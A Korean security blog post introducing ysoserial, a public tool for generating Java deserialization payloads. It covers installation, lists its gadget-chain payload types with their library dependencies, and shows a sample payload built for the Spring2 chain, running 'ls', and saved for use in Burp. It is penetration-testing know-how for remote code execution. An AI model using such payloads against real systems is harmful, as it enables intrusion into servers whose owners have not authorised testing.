YSoSerial - Java object deserialization payload generator
2017년 OWASP TOP10에 새로운 공격 벡터가 올라왔었는데요. 바로 Insecure deserialization 입니다. (https://www.hahwul.com/2017/10/web-hacking-owasp-top-10-2017-rc2-review.html )
은근히 포인트가 많지만 실제 공격 성공으로 만들기엔 조건이 까다로운 경우가 많은데요. 오늘은 그 까다로운 경우 중 하나인 Payload 만들기, 그 중에서도 이를 쉽게 지원해주는 툴에 대한 이야기를 하려고 합니다.
YSoSerial(Why so serious)
ysoserial
위에서 간략히 설명드린대로 Deserialization을 위한 도구이며 Jocker의 명대사인 Why so serious를 모티브로 이름을 지은 것으로 보입니다. (네이밍 센스보소..)
Deserialization 시 JSON이나 여러 포맷으로 저장된 데이터를 Object, String, Interger 등 내부 코드로 환원하는데 이 과정에서 악의적인 Object, 즉 코드를 삽입한다는 것은 익히 아시고 계실겁니다. 다만 실제로 테스팅시에는 그리 호락호락하진 않았습니다. deserialization 포인트가 있다고 해도 사용할 수 있는 Method의 제한을 받고있고, 이를 기반으로 Payload 를 생성하는 것도 굉장히 불편한 일이죠. (대부분 취약점 분석이 그렇겠지만.. BlackBox Testing 이면 더더욱…)
ysoserial은 공격자가 원하는 명령 수행을 쉽게 하기 위해 gadget chains을 이용하여 payload를 생성해줍니다. 코드를 볼 수 있는 경우에는 덜하겠지만 코드를 보지 못하는 환경에서 공격코드 구현은 Binary exploit이 됩니다. 이는 매우 노가다이고 힘들기에, 대상 어플리케이션에서 사용하는 라이브러리를 이용하여 Payload를 만들어 사용합니다. (이러면 직접 다 구현할 필요가 없어지죠)
공용 라이브러리에서 추출한 가젯을 가지고 페이로드를 빌드하는 것을 가젯 체인으로 부르는 것 같습니다.
Install
나름 긴 설명이 있었으니 후딱 설치해서 테스팅해봅시다. ysoserial은 Java code로 구현되어서 jar로 압축하여 사용 가능합니다. 아래 git에서 clone 받아 maven으로 빌드해주셔도 되고, JitPack에 올라온 build된 jar 파일을 바로 사용하셔도 좋습니다.
Git
#> git clone https://github.com/frohoff/ysoserial
JitPack
#> wget https://jitpack.io/com/github/frohoff/ysoserial/master/ysoserial-master.jar
다운로드/빌드가 완료되면..
#> java -jar ysoserial-master.jar
Payload type
오늘자 기준으로 대략 30개 정도의 payload 옵션이 존재합니다. 각각 Java~Framework 버전에 따라 사용하실 수 있습니다.
Available payload types:
Payload Authors Dependencies
------- ------- ------------
BeanShell1 @pwntester, @cschneider4711 bsh:2.0b5
C3P0 @mbechler c3p0:0.9.5.2, mchange-commons-java:0.2.11
Clojure @JackOfMostTrades clojure:1.8.0
CommonsBeanutils1 @frohoff commons-beanutils:1.9.2, commons-collections:3.1, commons-logging:1.2
CommonsCollections1 @frohoff commons-collections:3.1
CommonsCollections2 @frohoff commons-collections4:4.0
CommonsCollections3 @frohoff commons-collections:3.1
CommonsCollections4 @frohoff commons-collections4:4.0
CommonsCollections5 @matthias_kaiser, @jasinner commons-collections:3.1
CommonsCollections6 @matthias_kaiser commons-collections:3.1
FileUpload1 @mbechler commons-fileupload:1.3.1, commons-io:2.4
Groovy1 @frohoff groovy:2.3.9
Hibernate1 @mbechler
Hibernate2 @mbechler
JBossInterceptors1 @matthias_kaiser javassist:3.12.1.GA, jboss-interceptor-core:2.0.0.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21
JRMPClient @mbechler
JRMPListener @mbechler
JSON1 @mbechler json-lib:jar:jdk15:2.4, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2, commons-lang:2.6, ezmorph:1.0.6, commons-beanutils:1.9.2, spring-core:4.1.4.RELEASE, commons-collections:3.1
JavassistWeld1 @matthias_kaiser javassist:3.12.1.GA, weld-core:1.1.33.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21
Jdk7u21 @frohoff
Jython1 @pwntester, @cschneider4711 jython-standalone:2.5.2
MozillaRhino1 @matthias_kaiser js:1.7R2
Myfaces1 @mbechler
Myfaces2 @mbechler
ROME @mbechler rome:1.0
Spring1 @frohoff spring-core:4.1.4.RELEASE, spring-beans:4.1.4.RELEASE
Spring2 @mbechler spring-core:4.1.4.RELEASE, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2
URLDNS @gebl
Wicket1 @jacob-baines wicket-util:6.23.0, slf4j-api:1.6.4
Generate Payload!
1번쨰 인자값으로 Payload 옵션을 넘겨주고 두번째 인자값으로 실행할 명령을 넘겨주면 됩니다.
#> java -jar ysoserial-master.jar Spring2 ls
��srIorg.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider�J��A�IindexL
methodNametLjava/lang/String;providert?Lorg/springframework/core/SerializableTypeWrapper$TypeProvider;xptnewTransformers}=org.springframework.core.SerializableTypeWrapper$TypeProviderxrjava.lang.reflect.Proxy�'� �C�Lht%Ljava/lang/reflect/InvocationHandler;xpsr2sun.reflect.annotation.AnnotationInvocationHandlerU���~�L
[....]
기본적으로는 화면에 출력하게 되고, 이를 파일로 저장하고 Burp에서 값을 불러와 사용해도 됩니다.
#> java -jar ysoserial.jar Spring2 ls > d_payload.txt
#> ftc d_payload.txt
[+] Success copy 4090 length data to clipboard